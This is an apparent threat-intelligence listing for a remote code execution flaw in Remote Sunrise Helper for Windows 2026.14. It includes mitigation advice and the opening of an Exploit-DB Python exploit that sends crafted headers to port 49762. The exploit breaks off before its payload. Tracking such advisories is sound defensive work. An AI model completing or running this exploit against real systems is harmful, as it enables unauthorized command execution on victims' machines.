ExploitPublished
Remote Sunrise Helper for Windows 2026.14 · Remote Code Execution
Source Exploit-DB RSS Feed
0
Severity
CriticalRated by Threat Radar
Data as of 21 May 2026, 15:51 UTC
What to do
AI-suggested
Until an official fix is available, restrict network access to the affected service port (49762) to trusted hosts only. Monitor for unusual activity targeting the API endpoints and consider disabling or isolating the Remote Sunrise Helper service if possible.
Description
Remote Sunrise Helper for Windows 2026.14 - Remote Code Execution
Indicators of compromise
Exploit source code
# Exploit Title: Remote Sunrise Helper for Windows 2026.14 -
Unauthenticated Remote Code Execution
# Date: 2026-04-20
# Exploit Author: Chokri Hammedi
# Software: https://rs.ltd/latest.php?os=win
# Vendor: https://rs.ltd/
# Version: 2026.14
# Tested on: Windows 10 / Windows 11
#!/usr/bin/env python3
import requests, json, sys, urllib3
urllib3.disable_warnings()
target = sys.argv[1]
cmd = sys.argv[2]
url = f"https://{target}:49762"
headers = {"X-HostName": "a", "X-ClientToken": "a", "X-HostFul…References
Community reviews
Loading reviews…